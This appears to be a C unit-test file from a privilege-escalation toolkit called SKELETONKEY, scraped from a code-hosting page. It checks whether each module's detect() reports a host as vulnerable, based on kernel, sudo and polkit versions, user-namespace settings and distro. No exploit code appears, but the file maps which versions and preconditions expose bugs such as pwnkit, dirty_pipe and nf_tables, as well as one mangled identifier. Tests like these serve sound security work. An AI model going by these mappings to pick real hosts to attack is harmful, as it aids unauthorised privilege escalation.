* happy path on modules whose detect() reaches VULNERABLE once both
|
||||
* version and userns gates are satisfied. Carrier file presence
|
||||
* (sudo, su, etc.) is read from the actual filesystem; in CI the
|
||||
* standard Debian containers provide those, so these tests are
|
||||
* deterministic on Linux. */
|
||||
static const struct skeletonkey_host h_kernel_5_14_userns_ok = {
|
||||
.kernel = { .major = 5, .minor = 14, .patch = 0,
|
||||
.release = "5.14.0-vuln-userns-ok" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = true,
|
||||
};
|
||||
|
||||
/* Vulnerable-era kernel (5.14.0) with userns DISABLED. Most
|
||||
* netfilter / overlayfs / cgroup-class modules need both an in-range
|
||||
* kernel AND unprivileged userns. Kernel 5.14 was deliberately
|
||||
* chosen to clear every module's "predates the bug" pre-check in
|
||||
* this batch (nf_tables introduced 5.14; overlayfs_setuid 5.11;
|
||||
* cls_route4/fuse_legacy older still) while remaining below every
|
||||
* stable-branch backport entry (5.15.x / 5.18.x / 5.19.x in the
|
||||
* relevant tables). The version check therefore says "VULNERABLE by
|
||||
* version", and the userns gate fires next. */
|
||||
static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
||||
.kernel = { .major = 5, .minor = 14, .patch = 0,
|
||||
.release = "5.14.0-vuln-no-userns" },
|
||||
.arch = "x86_64",
|
||||
.nodename = "test",
|
||||
.distro_id = "debian",
|
||||
.is_linux = true,
|
||||
.is_debian_family = true,
|
||||
.unprivileged_userns_allowed = false,
|
||||
};
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ── tests ───────────────────────────────────────────────────────── */
|
||||
|
||||
static void run_all(void)
|
||||
{
|
||||
#ifdef __linux__
|
||||
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
||||
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
||||
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
||||
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("dirtydecrypt: kernel 6.8 (ubuntu) still predates → OK",
|
||||
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
||||
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
||||
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* pack2theroot: not Debian family → PRECOND_FAIL */
|
||||
run_one("pack2theroot: is_debian_family=false → PRECOND_FAIL",
|
||||
&pack2theroot_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* pack2theroot: Debian family but no D-Bus socket → PRECOND_FAIL */
|
||||
run_one("pack2theroot: has_dbus_system=false → PRECOND_FAIL",
|
||||
&pack2theroot_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* overlayfs: distro != ubuntu → bug is Ubuntu-specific → OK */
|
||||
run_one("overlayfs: distro=debian → not Ubuntu → OK",
|
||||
&overlayfs_module, &h_pre7_no_userns_no_dbus,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
run_one("overlayfs: distro=fedora → not Ubuntu → OK",
|
||||
&overlayfs_module, &h_fedora_no_debian,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── kernel-version-gate cases (post-migration coverage) ──── */
|
||||
|
||||
/* dirty_pipe: bug introduced in 5.8; kernel 4.4 predates → OK */
|
||||
run_one("dirty_pipe: kernel 4.4 predates 5.8 → OK",
|
||||
&dirty_pipe_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* dirty_pipe: kernel 6.12 is above every backport entry → OK */
|
||||
run_one("dirty_pipe: kernel 6.12 above all backports → OK",
|
||||
&dirty_pipe_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* dirty_cow: fix in mainline 4.9; kernel 6.12 is far above → OK */
|
||||
run_one("dirty_cow: kernel 6.12 above 4.9 fix → OK",
|
||||
&dirty_cow_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ptrace_traceme: fix in 5.1.17; kernel 6.12 above → OK */
|
||||
run_one("ptrace_traceme: kernel 6.12 above 5.1.17 fix → OK",
|
||||
&ptrace_traceme_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* cgroup_release_agent: fix in mainline 5.17; kernel 6.12 above → OK */
|
||||
run_one("cgroup_release_agent: kernel 6.12 above 5.17 fix → OK",
|
||||
&cgroup_release_agent_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── userns-gate cases ───────────────────────────────────── */
|
||||
|
||||
/* nf_tables: vulnerable kernel 5.10.0 + userns off → PRECOND_FAIL */
|
||||
run_one("nf_tables: vuln kernel + userns=false → PRECOND_FAIL",
|
||||
&nf_tables_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* fuse_legacy: vulnerable kernel + userns off → PRECOND_FAIL */
|
||||
run_one("fuse_legacy: vuln kernel + userns=false → PRECOND_FAIL",
|
||||
&fuse_legacy_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* cls_route4: vulnerable kernel + userns off → PRECOND_FAIL */
|
||||
run_one("cls_route4: vuln kernel + userns=false → PRECOND_FAIL",
|
||||
&cls_route4_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* overlayfs_setuid: vulnerable kernel (5.14, past the 5.11
|
||||
* introduction and below every backport) + userns off
|
||||
* → PRECOND_FAIL via userns gate */
|
||||
run_one("overlayfs_setuid: vuln kernel + userns=false → PRECOND_FAIL",
|
||||
&overlayfs_setuid_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* ── above-fix coverage for the remaining kernel modules ──
|
||||
* Kernel 6.12 is above every backport entry in the corpus.
|
||||
* For modules with a `kernel_range` table, kernel_range_is_patched
|
||||
* inherits via the "host is newer than every entry" branch and
|
||||
* detect() returns OK. */
|
||||
|
||||
run_one("af_packet: kernel 6.12 above 4.11 fix → OK",
|
||||
&af_packet_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("af_packet2: kernel 6.12 above 5.9 fix → OK",
|
||||
&af_packet2_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("af_unix_gc: kernel 6.12 above 6.6-rc1 fix → OK",
|
||||
&af_unix_gc_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("netfilter_xtcompat: kernel 6.12 above 5.12 fix → OK",
|
||||
&netfilter_xtcompat_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("nft_set_uaf: kernel 6.12 above 6.4-rc4 fix → OK",
|
||||
&nft_set_uaf_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("nft_fwd_dup: kernel 6.12 above 5.17 fix → OK",
|
||||
&nft_fwd_dup_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("nft_payload: kernel 6.12 above 6.2-rc4 fix → OK",
|
||||
&nft_payload_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("stackrot: kernel 6.12 above 6.4-rc4 fix → OK",
|
||||
&stackrot_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("sequoia: kernel 6.12 above 5.13.4 fix → OK",
|
||||
&sequoia_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
run_one("vmwgfx: kernel 6.12 above 6.3-rc6 fix → OK",
|
||||
&vmwgfx_module, &h_kernel_6_12, SKELETONKEY_OK);
|
||||
|
||||
/* ── ancient-kernel predates coverage ────────────────────────
|
||||
* Kernel 4.4 predates several module bugs introduced 5.x+. */
|
||||
|
||||
run_one("nft_set_uaf: kernel 4.4 predates 5.1 → OK",
|
||||
&nft_set_uaf_module, &h_kernel_4_4, SKELETONKEY_OK);
|
||||
|
||||
run_one("stackrot: kernel 4.4 predates 6.1 → OK",
|
||||
&stackrot_module, &h_kernel_4_4, SKELETONKEY_OK);
|
||||
|
||||
/* ── copy_fail_family bridge userns gate ─────────────────────
|
||||
* The 4 dirty_frag siblings + the GCM variant all reach the
|
||||
* bug via XFRM-ESP / AF_RXRPC paths gated on unprivileged
|
||||
* user-namespace creation. Bridge-layer precondition fires
|
||||
* before delegating to the inner DIRTYFAIL detect. copy_fail
|
||||
* itself uses AF_ALG (no userns needed) and bypasses the
|
||||
* gate — its detect would proceed to the inner active probe. */
|
||||
|
||||
run_one("copy_fail_gcm: userns_allowed=false → PRECOND_FAIL",
|
||||
©_fail_gcm_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
run_one("dirty_frag_esp: userns_allowed=false → PRECOND_FAIL",
|
||||
&dirty_frag_esp_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
run_one("dirty_frag_esp6: userns_allowed=false → PRECOND_FAIL",
|
||||
&dirty_frag_esp6_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
run_one("dirty_frag_rxrpc: userns_allowed=false → PRECOND_FAIL",
|
||||
&dirty_frag_rxrpc_module, &h_kernel_5_14_no_userns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* ── userspace version fingerprinting (sudo) ─────────────────
|
||||
* Both sudo modules now consult ctx->host->sudo_version
|
||||
* populated once at startup. */
|
||||
|
||||
/* sudo_samedit: vulnerable sudo 1.8.31 (range [1.8.2, 1.9.5p1])
|
||||
* → VULNERABLE by version */
|
||||
run_one("sudo_samedit: sudo_version=1.8.31 → VULNERABLE",
|
||||
&sudo_samedit_module, &h_vuln_sudo,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* sudo_samedit: fixed sudo 1.9.13p1 (above 1.9.5p1) → OK */
|
||||
run_one("sudo_samedit: sudo_version=1.9.13p1 → OK",
|
||||
&sudo_samedit_module, &h_fixed_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* pwnkit: vulnerable polkit 0.105 (pre-0.121 fix) → VULNERABLE */
|
||||
run_one("pwnkit: polkit_version=0.105 → VULNERABLE",
|
||||
&pwnkit_module, &h_vuln_sudo,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* pwnkit: fixed polkit 0.121 → OK */
|
||||
run_one("pwnkit: polkit_version=0.121 → OK",
|
||||
&pwnkit_module, &h_fixed_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudoedit_editor: vulnerable sudo 1.8.31 — but the test user
|
||||
* has no sudoers grant in the CI container, so find_sudoedit_target
|
||||
* fails and detect short-circuits to PRECOND_FAIL ("vulnerable
|
||||
* version present, but no sudoedit grant to abuse"). That's the
|
||||
* documented behaviour for a non-privileged user. */
|
||||
run_one("sudoedit_editor: vuln version, no grant → PRECOND_FAIL",
|
||||
&sudoedit_editor_module, &h_vuln_sudo,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* sudoedit_editor: fixed sudo 1.9.13p1 → OK regardless of grant */
|
||||
run_one("sudoedit_editor: sudo_version=1.9.13p1 → OK",
|
||||
&sudoedit_editor_module, &h_fixed_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── happy-path VULNERABLE coverage ──────────────────────────
|
||||
* Vulnerable kernel + userns allowed reaches the VULNERABLE
|
||||
* branch on modules whose detect() short-circuits there once
|
||||
* both gates are satisfied. Tests the affirmative verdict
|
||||
* path, not just precondition gates. */
|
||||
|
||||
run_one("nf_tables: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nf_tables_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
run_one("cls_route4: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&cls_route4_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
run_one("nft_set_uaf: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nft_set_uaf_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
run_one("nft_fwd_dup: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nft_fwd_dup_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
|
||||
&nft_payload_module, &h_kernel_5_14_userns_ok,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
#else
|
||||
fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
|
||||
"tests skipped (would tautologically pass).\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
|
||||
run_all();
|
||||
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||
g_pass, g_fail);
|
||||
return g_fail ? 1 : 0;
|
||||
}
|
||||
Reference in New Issue
Block a user